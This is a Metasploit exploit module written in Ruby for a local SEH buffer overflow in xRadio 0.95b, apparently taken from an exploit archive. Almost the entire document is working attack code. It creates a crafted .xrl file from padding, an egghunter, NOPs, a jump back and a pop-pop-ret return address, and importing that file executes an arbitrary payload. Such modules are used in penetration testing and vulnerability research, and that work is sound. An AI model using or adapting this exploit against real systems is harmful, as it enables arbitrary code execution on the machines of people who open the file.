xRadio 0.95b - Local Buffer Overflow (Metasploit)

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::FILEFORMAT
	include Msf::Exploit::Remote::Seh
	include Msf::Exploit::Remote::Egghunter

	def initialize(info = {})
		super(update_info(info,
			'Name'            => 'xRadio 0.95b Buffer Overflow',
			'Description'     => %q{
				This module exploits a buffer overflow in xRadio 0.95b.
				Using the application to import a specially crafted xrl file,
				a buffer overflow occurs allowing arbitrary code execution.
			},
			'License'         => MSF_LICENSE,
			'Author'          =>
				[
					'b0telh0 <me[at]gotgeek.com.br>',
				],
			'References'      =>
				[
					[ 'BID', '46290' ],
					[ 'EDB', '16141' ]
				],
			'DefaultOptions'  =>
				{
					'EXITFUNC' => 'seh',
					'DisablePayloadHandler' => 'true'
				},
			'Platform'        => 'win',
			'Payload'         =>
				{
					'Space' => 1000,
					'BadChars' => "\x00\x0a\x0d",
					'StackAdjustment' => -3500
				},
			'Targets'         =>
				[
					[ 'Windows Universal',
						{
							# pop eax - pop ebx - ret xradio.exe
							'Ret' => 0x0047E282
						}
					],
				],
			'Privileged'      => false,
			'DisclosureDate'  => 'Feb 08 2011',
			'DefaultTarget'   => 0))

		register_options(
			[
				OptString.new('FILENAME', [true, 'The file name.', 'msf.xrl'])
			], self.class)

	end

	def exploit
		eggoptions =
		{
			:checksum => true,
			:eggtag => 'w00t'
		}

		hunter,egg = generate_egghunter(payload.encoded, eggoptions)

		buffer =  rand_text_alpha_upper(4066-egg.length)
		buffer << egg
		buffer << make_nops(10)
		buffer << hunter
		buffer << "\xeb\xd8\xff\xff"      # nseh  jmp back 40 bytes
		buffer << [target.ret].pack('V')  # seh

		print_status("Creating '#{datastore['FILENAME']}' file ...")
		file_create(buffer)
	end

end